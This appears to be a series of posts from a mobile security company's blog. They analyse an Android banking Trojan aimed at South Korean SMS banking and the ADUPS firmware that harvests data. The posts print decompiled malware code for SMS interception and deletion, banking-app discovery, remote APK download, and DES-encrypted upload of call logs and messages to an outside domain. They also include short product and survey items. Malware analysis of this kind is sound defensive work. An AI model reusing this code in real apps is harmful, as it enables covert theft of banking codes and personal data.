Trojan Intercepts SMS Messages To Attack Banks In South Korea

Banks in South Korea recently started to offer customers a text messaging option to access accounts and authenticate transactions. It was reported that a major South Korea bank, KEB Hana Bank, was the first to launch the text banking service in the country on Nov 21, 2016. Unfortunately, cyber thieves have picked up on this, and are trying to get their hands on these text messages.

Trustlook labs discovered a new banking Trojan that targets these banks in South Korea that offer the text messaging service. The Trojan disguises itself as a Google Play app and the user is requested to grant device administrator rights for it. This prevents the malware for being removed.

The app starts as a background service and is invisible to the user. The package can be identified as having the following characteristics:

  • MD5: b4d419cd7dc4f7bd233fa87f89f73f22
  • SHA256: 1fa03f9fa2c6744b672433c06a1a3142997ba4f261b68eddbc03545caff06a82
  • Size: 100289 bytes
  • App name: Google_Play
  • Package name: com.android.systemsetting


The package icon is:

image00

Upon execution, the app persuades the user to grant device administrator access in order to maintain its presence on the system:

image02

The app disguises itself as “AhnLab V3 Mobile PLUS” which is a popular mobile security app in South Korea.

image01


In the meantime, it attempts to remove the legitimate AhnLab security apps:

 public void onClick(View arg2) {

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobileplus");

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobilesecurity.soda");


The malware attempts to collects the user’s device information and send it to the server:

image04

It then goes through the system to look for the following banking apps:

  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.kbstar.kbbank

The following code snippets are used to retrieve information on any installed banking apps:

public class FBDBSender

   private void uploadInstallApp() {

       try {

[...]

           boolean v1 = CoreService.checkAPP(((Context)this), "nh.smart");

           boolean v2 = CoreService.checkAPP(((Context)this), "com.shinhan.sbanking");

           boolean v3 = CoreService.checkAPP(((Context)this), "com.hanabank.ebk.channel.android.hananbank");

           boolean v4 = CoreService.checkAPP(((Context)this), "com.webcash.wooribank");

           boolean v5 = CoreService.checkAPP(((Context)this), "com.kbstar.kbbank");

           String v6 = this.getVersion("nh.smart");

           String v7 = this.getVersion("com.shinhan.sbanking");

           String v8 = this.getVersion("com.hanabank.ebk.channel.android.hananbank");

           String v9 = this.getVersion("com.webcash.wooribank");

           String v10 = this.getVersion("com.kbstar.kbbank");

[...]

           UploadInstallAppTask v12 = new UploadInstallAppTask(this);

           String[] v13 = new String[10];

           String v11 = v1 ? "1" : "0";

           v13[0] = v11;

           v11 = v2 ? "1" : "0";

           v13[1] = v11;

           int v14 = 2;

           v11 = v3 ? "1" : "0";

           v13[v14] = v11;

           v14 = 3;

           v11 = v4 ? "1" : "0";

           v13[v14] = v11;

           v14 = 4;

           v11 = v5 ? "1" : "0";

           v13[v14] = v11;

           v13[5] = v6;

           v13[6] = v7;

           v13[7] = v8;

           v13[8] = v9;

           v13[9] = v10;

           v12.execute(((Object[])v13));

              [...]


The malware then sends out the captured information:

image03


The malware intercepts all the SMS messages between the device and the banks and sends it to the attacker:

public class SMSReceiver extends BroadcastReceiver {

   static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

   private final String TAG;



   public SMSReceiver() {

       super();

       this.TAG = "sms Receiver";

   }



   public void onReceive(Context arg23, Intent arg24) {

       if("android.provider.Telephony.SMS_RECEIVED".equals(arg24.getAction())) {

           Bundle v3 = arg24.getExtras();

           if(v3 != null) {

               SmsInfoDao v13 = new SmsInfoDao(arg23);

               Object v10 = v3.get("pdus");

               SmsMessage[] v8 = new SmsMessage[v10.length];

               int v4;

               for(v4 = 0; v4 < v10.length; ++v4) {

                   v8[v4] = SmsMessage.createFromPdu(v10[v4]);

               }



               SmsMessage[] v2 = v8;

               int v6 = v2.length;

               int v5;

               for(v5 = 0; v5 < v6; ++v5) {

                   SmsMessage v7 = v2[v5];

                   new Date().toString();

                   String v15 = v7.getDisplayOriginatingAddress();

                   String v16 = v7.getDisplayMessageBody();

                   if(v16.startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                       String v9 = v16.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                       if(v9.startsWith("http")) {

                           Log.d("sms Receiver", "new address:" + v9);

                           SharedPreferences v11 = PreferenceManager.getDefaultSharedPreferences(arg23);

                           App.URL_BASE = v9;

                           v11.edit().putString("serverIp", v9).commit();

                       }

                   }



                   if(App.curInterceptState != 0 && System.currentTimeMillis() - App.curInterceptStateStartTime < 9223372036854775807L) {

                       SmsInfo v12 = new SmsInfo();

                       v12._id = (((int)Math.round(Math.random() * 9999999 + 1))) * -1;

                       v12.thread_id = "";

                       v12.service_center = "";

                       v12.name = "";

                       v12.phoneNumber = v15;

                       v12.smsbody = v16;

                       v12.date = new Date().getTime();

                       v12.type = 0;

                       v13.startWritableDatabase(true);

                       v13.insert(v12);

                       v13.setTransactionSuccessful();

                       v13.closeDatabase(true);

                       this.abortBroadcast();

                   }

               [...]

   public class SMSContent extends ContentObserver {

       public SMSContent(CoreService arg1, Handler arg2) {

           CoreService.this = arg1;

           super(arg2);

       }



       public void onChange(boolean arg23) {

           Log.i("SMS Core Service", "smsÓб仯");

           super.onChange(arg23);

           Cursor v8 = App.getInstance().getContentResolver().query(Uri.parse("content://sms/inbox"), null, " read = ?", new String[]{"0"}, "date asc");

           if(v8 != null && (v8.moveToFirst())) {

               int v10 = v8.getColumnIndex("_id");

               int v19 = v8.getColumnIndex("thread_id");

               int v16 = v8.getColumnIndex("service_center");

               int v12 = v8.getColumnIndex("person");

               int v14 = v8.getColumnIndex("address");

               int v18 = v8.getColumnIndex("body");

               int v9 = v8.getColumnIndex("date");

               int v20 = v8.getColumnIndex("type");

               do {

                   SmsInfo v17 = new SmsInfo();

                   v17._id = v8.getInt(v10);

                   v17.thread_id = v8.getString(v19);

                   v17.service_center = v8.getString(v16);

                   v17.name = v8.getString(v12);

                   v17.phoneNumber = v8.getString(v14);

                   v17.smsbody = v8.getString(v18);

                   v17.date = v8.getLong(v9);

                   v17.type = v8.getInt(v20);

                   if(!CommUtil.isEmpty(v17.smsbody)) {

                       Toast.makeText(CoreService.this, v17.smsbody + "", 0).show();

                       Log.i("SMS Core Service", v17.smsbody);

                       if(v17.smsbody.trim().startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                           String v13 = v17.smsbody.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                           Log.i("SMS Core Service", v13);

                           Toast.makeText(CoreService.this, ((CharSequence)v13), 0).show();

                           if(v13.startsWith("http")) {

                               Log.d("SMS Core Service", "new server address:" + v13);

                               SharedPreferences v15 = PreferenceManager.getDefaultSharedPreferences(CoreService.this);

                               App.URL_BASE = v13;

                               v15.edit().putString("serverIp", v13).commit();

                               CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                               CoreService.this.getSystemService("notification").cancelAll();

                           }

                       }

                       else if(v17.smsbody.trim().startsWith(Constant.LOCK_SCREEN_ON)) {

                           Log.i("SMS Core Service", v17.smsbody.trim() + " is not startsWith " + Constant.NEW_SERVER_MSG_PREFIX);

                       }



                       Log.d("SMS Core Service", "insert sms to db");

                       CoreService.this.sid.startWritableDatabase(true);

                       CoreService.this.sid.insert(v17);

                       CoreService.this.sid.setTransactionSuccessful();

                       CoreService.this.sid.closeDatabase(true);

                       if(App.curInterceptState == 0) {

                           continue;

                       }



                       if(System.currentTimeMillis() - App.curInterceptStateStartTime >= 9223372036854775807L) {

                           continue;

                       }



                       CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                       CoreService.this.getSystemService("notification").cancelAll();

                   }

               }

               while(v8.moveToNext());



               CoreService.this.uploadDbSms();

           }



           v8.close();

       }


The app is capable of updating itself:

     protected String[] doInBackground(AppUpdateModel[] arg11) {

           String[] v6;

           try {

               AppUpdateModel v1 = arg11[0];

               String v2 = App.URL_BASE + v1.getUpdateUrl();

               Log.i("SMS Core Service", v2);

               long v4 = System.currentTimeMillis();

               CoreService.this.lastFileName = v4 + ".apk";

               v6 = new String[]{NetUtils.downApk(v2, v4 + ".apk", CoreService.this), v1.getAppPackageName()};

           }


Summary

For anyone using the text banking service that is being offered by some Korean banks, we suggest you install the Trustlook Mobile Security app to detect and block this attack, as well as to prevent further malicious activities.

Good news if you got a Barnes & Noble Nook Tablet 7 for the Holidays

nook-7

Over the past couple of months, Trustlook Mobile Security has published a lot of research (here and here) about ADUPS spyware. It is no surprise we have received many inquiries about the latest ADUPS security vulnerability involving the Barnes & Noble Nook 7. You may or may not know that the $50 Barnes & Noble device was shipping with Adups backdoor-planting firmware preinstalled.

We are happy to announce that Barnes and Noble has got a fix. The company has also issued the following statement regarding the issue.

“NOOK Tablet 7” went on sale on November 26. By that time, the device automatically updated to a newer version of ADUPS (5.5), which has been certified as complying with Google’s security requirements, when first connected to Wi-Fi. ADUPS has confirmed to Barnes & Noble that it never collected any personally identifiable information or location data from NOOK Tablet 7” devices, nor will it do so in the future.

Finally, we are working on a software update to remove ADUPS completely from the NOOK Tablet 7”. That update will be made available to download within the next few weeks, but in the meantime customers can rest assured that the device is safe to use.”

Whew! To think that you could have been sending your most private information to servers in China while you were reading your favorite novel was quite concerning.

 

Digging into ADUPS FOTA data collection details

People like to think their brand new phone is clean and free of malware, but that is not always the case. Some smartphone manufacturers choose to use a third party FOTA (Firmware Over-The-Air) service instead of Google’s, which can pose serious security risks. This is what happened in the case of Shanghai based ADUPS Technology Co.

ADUPS provides FOTA update services for mobile devices. Trustlook Labs researched multiple mobile devices and discovered several apps produced by ADUPS have serious security flaws. We researched a sample with package name “com.adups.fota”, app name “无线升级”, version 5.1.0.0.1.

The app comes preinstalled on the device. It collects many types of user information. In addition to specifications such as IMEI, IMSI, MAC address, version number, and operator, this app attempts to collect user’s SMS text messages and call logs. More troubling is that all of these procedures are done without user’s consent and are processed in the background.

Diving into the code…

The following code snippets show the app start to collect call logs and SMS messages:

    public static void getCallLogList(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date>" + arg8 + " and " + "date" + "<" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/call"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_25;
            }

            goto label_87;
        }
        catch(Exception v0) {
            goto label_99;
        }

        try {
        label_25:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_2 = new TellMessageBean();
                v0_2.messages = "";
                v0_2.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("number"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = v1.getString(v1.getColumnIndex("duration"));
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    if("1".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    v6.append(v3);
                    v6.append(":");
                    v6.append(v4);
                    v6.append(":");
                    v6.append(v5);
                    v0_2.tells = v6.toString();
                    new DataBaseOperate(arg7).insertTellMessage(v0_2);
                    Trace.d(v0_2.toString());
                    if(v1.moveToNext()) {
                        continue;
                    }

                    break;
                }
                while(true);
            }
[...]

    public static void getSmsInPhone(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date > " + arg8 + " and " + "date <" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/msg"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_23;
            }

            goto label_83;
        }
        catch(SQLiteException v0) {
            goto label_95;
        }

        try {
        label_23:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_3 = new TellMessageBean();
                v0_3.tells = "";
                v0_3.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("address"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = "0";
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
[...]

    public void getMessageData() {
        try {
            b.a(this.ctx);
            String v0_1 = h.b(this.ctx, "push");
            g.a(this.ctx, "message data:: " + v0_1);
            if(!TextUtils.isEmpty(((CharSequence)v0_1)) && !v0_1.startsWith("0")) {
                this.message_process(v0_1);
            }

            if(h.a(this.ctx)) {
                this.installReport();
                this.reportFailDownloadMesssage(31);
            }

            this.delOutMesssage();
            this.reInstallRemind();
        }
        catch(Exception v0) {
            z.a(((Throwable)v0));
        }

        a.c(this.ctx);
    }

 

The getTellMessageData() method shown below calls the above methods.

 

public void getTellMessageData(Context arg3) {
        try {
            arg3.getSharedPreferences(Const.CHECK_SETTING_NAME, 0);
            long v0_1 = this.getSharedPreferTellSchedule(arg3);
            DcTellMessage.getSmsInPhone(arg3, v0_1);
            DcTellMessage.getCallLogList(arg3, v0_1);
            this.updateSharedPreferTellMessageSchedule(arg3);
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The collectDcData() method shown below calls getTellMessageData() and some other methods to collect other information and insert the data into an SQL database.

 

private void collectDcData() {
        try {
            File v0_1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip);
            File v1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource);
            if(!v0_1.exists()) {
                v0_1.mkdir();
            }

            if(v1.exists()) {
                goto label_26;
            }

            v1.mkdir();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }

        try {
        label_26:
            new DcTellMessage().getTellMessageData(this.ctx);
            new DcMobileStatus().getDcMoblicStatus(this.ctx);
            new DcMessage().getMessageData(this.ctx);
            new DcApp(this.ctx).getDcApp();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The data are then written to JSON format and zipped:

 

private boolean convertAndZipFile() {
        boolean v0_2;
        try {
            Gson v0_1 = new Gson();
            DataBaseOperate v1 = new DataBaseOperate(this.ctx);
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'M', 'o', 'b', 'i', 'l', 'e', 'S', 't', 'a',
                    't', 'u', 's', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMobileStatusList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', '.', 'j', 's', 'o', 'n'}),
                    v0_1.toJson(v1.getAppList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'T', 'e', 'l', 'l', 'M', 'e', 's', 's', 'a',
                    'g', 'e', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getTellMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', 'O', 'p', '.', 'j', 's', 'o',
                    'n'}), v0_1.toJson(v1.getAppOpList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'a', 'p', 'p', '_', 'f', 'l', 'o', 'w',
                    '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getAppFlowList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'm', 's', 'g', '_', 'k', 'e', 'y', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'R', 'o', 'o', 't', 'I', 'n', 'f', 'o', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(new DcBin().getBinFileList()));
            FileUtil.ZipFolder(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip,
                    Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource + AnalyticsReport
                    .ZIP_FILENAME);
            v0_2 = true;
        }

 

The 7 JSON files contain various user information:

DcMobileStatus.json
Dcapp.json
DcTellMessage.json
DcappOp.json
dc_app_flow.json
dc_msg_key.json
DcRootInfo.json

The collected call logs and SMS messages are stored in “DcTellMessage.json” file. All data is then encrypted by using DES and sent out:

 

public void upload() {
        int v3 = Const.domains.length;
        if(v3 > 0 && !TextUtils.isEmpty(this.pid) && (HttpUtil.isNetWorkAvailable(this.ctx)) && (this
                .convertAndZipFile())) {
            int v1 = new Random().nextInt(v3);
            int v0 = 0;
            while(true) {
                if(v0 < v3) {
                    int v2 = v1 + 1;
                    if(this.upload(Const.domains[v1 % v3] + this.pid + "/" + Const.UPLOAD_LOG_RQ)) {
                        this.saveLastTime("dupt", System.currentTimeMillis());
                    }
                    else {
                        SystemClock.sleep(2000);
                        ++v0;
                        v1 = v2;
                        continue;
                    }
                }
                else {
                    break;
                }

                return;
            }

            this.saveLastTime("dupt", System.currentTimeMillis());
        }
    }

    private boolean upload(String arg9) {
        boolean v0 = false;
        try {
            MobileInfo v1_1 = MobileInfo.getInstance(this.ctx);
            File v2 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource
                     + AnalyticsReport.ZIP_FILENAME);
            if(!v2.exists()) {
                return v0;
            }

            MediaType v3 = MediaType.parse("text/plain");
            StringBuilder v4 = new StringBuilder();
            v4.append(AnalyticsReport.PARAM_MID).append('=').append(Mid.getMid(this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_MODULE).append('=').append(String.valueOf(2)).append('&');
            v4.append(AnalyticsReport.PARAM_APPV).append('=').append("V5.0.0").append('&');
            v4.append(AnalyticsReport.PARAM_MODEL).append('=').append(v1_1.getMobileModel()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_PROJECT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'U', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_CHANNEL).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'C', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_PRODUCT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'P', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_IMEI).append('=').append(v1_1.getIMEI()).append('&');
            v4.append(AnalyticsReport.PARAM_IMSI).append('=').append(v1_1.getIMSI()).append('&');
            v4.append(AnalyticsReport.PARAM_WIFIMAC).append('=').append(v1_1.getMacAddress()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_OPERATOR).append('=').append(v1_1.getOper()).append('&');
            v4.append(AnalyticsReport.PARAM_SN).append('=').append(v1_1.getSIMSN()).append('&');
            v4.append(AnalyticsReport.PARAM_SIM).append('=').append(v1_1.getSIMNum()).append('&');
            v4.append(AnalyticsReport.PARAM_OEM).append('=').append(v1_1.getOem()).append('&');
            v4.append(AnalyticsReport.PARAM_BRAND).append('=').append(v1_1.getBrand()).append('&');
            v4.append(AnalyticsReport.PARAM_APN).append('=').append(MobileInfo.mapNetworkTypeToType(
                    this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_BUILDNUMBER).append('=').append(v1_1.getBuildnumber()).append(
                    '&');
            MultipartBuilder v1_2 = new MultipartBuilder();
            v1_2.addFormDataPart(AnalyticsReport.PARAM_ENCRYPTED, DES.encryptDES(v4.toString()));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_PRODUCT, ApkUtil.getAppMetaData(this.ctx, String
                    .valueOf(new char[]{'P', 'I', 'D'})));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_UPLOAD, AnalyticsReport.PARAM_UPLOAD, RequestBody
                    .create(v3, v2));
            Response v1_3 = OkHttpUtil.execute(new Builder().url(arg9).post(v1_2.build()).build());
            if(v1_3 == null) {
                return v0;
            }

 

The DES.encryptDES() method that is used in the above code is shown below:

 

public class DES {
    private static String DEF_KEY;
    private static byte[] iv;

    static {
        DES.iv = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
        DES.DEF_KEY = String.valueOf(new char[]{'N', 'o', 't', 'C', 'r', 'a', 'c', 'k'});
    }

    public DES() {
        super();
    }
[...]
   public static String encryptDES(String arg1) {
        return DES.encryptDES(arg1, DES.DEF_KEY);
    }

    public static String encryptDES(String arg4, String arg5) {
        String v0_2;
        try {
            IvParameterSpec v0_1 = new IvParameterSpec(DES.iv);
            SecretKeySpec v1 = new SecretKeySpec(arg5.getBytes(), "DES");
            Cipher v2 = Cipher.getInstance("DES/CBC/PKCS5Padding");
            v2.init(1, ((Key)v1), ((AlgorithmParameterSpec)v0_1));
            v0_2 = Base64.encode(v2.doFinal(arg4.getBytes()));
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
            v0_2 = "";
        }

        return v0_2;
    }

 

The DES encryption key is “NotCrack” and the IV is 12345678.
The data is sent to the following domain “https://bigdata.adups.com/”

 

public static String[] domains = { String.valueOf(new char[] { 104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 103, 100, 97, 116, 97, 46, 97, 100, 117, 112, 115, 46, 99, 111, 109, 47 }) };

 

The data is uploaded every 72 hours:

 

        Const.ANALYTICS_SCHEDULE_DEF = 259200000;
[...]
    private boolean isOverDCUploadTime() {
        boolean v0 = false;
        long v2 = System.currentTimeMillis();
        long v4 = this.prefs.getLong("dupt", -1);
        if(v4 < 0) {
            this.saveLastTime("dupt", v2);
        }
        else if(v2 - v4 >= Const.ANALYTICS_SCHEDULE_DEF) {
            v0 = true;
        }

        return v0;
    }
[...]
    private void checkDc() {
        if(this.isOverDCTime()) {
            this.collectDcData();
        }

        if(this.isOverDCUploadTime()) {
            this.upload();
        }
    }

 

Summary
The Trustlook Mobile Security app detects this app as “Android.Trojan.Adups”. Trustlook’s anti-threat platform can effectively alert and remove the threat. Download the Trustlook app for free from the Google Play store.

Over 70 Percent Will Shop on Mobile This Holiday Season

Shopping on a mobile device is expected to be stronger than ever during the 2016 Holiday Season. Smartphone proliferation, faster network speeds, and slick shopping apps have combined to provide a far better experience for mobile shoppers. But as the spending is soaring, so too are the mobile security risks.

Trustlook, a next-generation mobile security company, has shared findings from a recent survey of Android users. The goal of the survey was to dig deeper into the expected mobile shopping behaviors for the 2016 Holiday season. Some key findings include:

1. 43% of users surveyed will spend more than $250 on purchases made through a mobile device
2. 40% of mobile shoppers prefer shopping on their mobile devices, versus 18% who prefer shopping in a store
3. Even though 70.35% of users surveyed plan on making a purchase on a mobile device, 64% have not installed a mobile security app
4. Amazon, eBay, and Walmart are the most popular mobile shopping apps

For an infographic on Trustlook’s survey findings, please go here.

What is Firmware Over the Air FOTA?

The recent data theft incident involving ADUPS technologies has brought into focus FOTA, which stands for Firmware Over the Air. For many, this is a new terminology concept and a whole new concept. Most consumers are familiar with downloading software updates to a phone or computer. But firmware downloads must be handled differently because they deal with different components and operations on a device.

Firmware Over-The-Air (FOTA) is a Mobile Software Management (MSM) technology that wirelessly upgrades the operating firmware of a mobile device. FOTA-capable phones download upgrades directly from the service provider. The process usually takes three to 10 minutes, depending on connection speed and file size. ADUPS is a service provider, and provides FOTA service for hundreds of companies including ZTE, Huawei, and BLU Products.

See our infographic to learn more about how FOTA works.

Trustlook Releases ADUPS Vulnerability Detector

Trustlook has released a new feature in its Trustlook Mobile Security app that identifies the presence of rogue firmware from Shanghai ADUPS Technology Co. This potentially dangerous firmware comes pre-installed on some Android phones, and can monitor text messages, phone call histories, and details of how the phone is being used all without the user’s permission.

Until now, there was no easy way for users to check for this vulnerability. Only the most technically sophisticated users could identify the threat by observing the network traffic. Now, Trustlook is providing an easy-to-use, single-click ADUPS Vulnerability detector within the Trustlook Mobile Security app.

The Trustlook Mobile Security app is available to download for free from Google Play. It currently checks for all known versions of the ADUPS system apps that conduct aggressive data collection, with more being added as they are discovered.

We have also created an infographic with more details on the ADUPS threat.

Trustlook joins VirusTotal to Fight Malware

Trustlook is pleased to join VirusTotal in the fight against malware. VirusTotal is the leading online platform to analyze malware. VirusTotal chose to work with Trustlook because of Trustlook’s superior machine learning technology.

About VirusTotal

VirusTotal, a subsidiary of Google, is a free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners. At the same time, it may be used as a means to detect false positives, i.e. innocuous resources detected as malicious by one or more scanners.

VirusTotal’s mission is to help in improving the antivirus and security industry and make the internet a safer place through the development of free tools and services.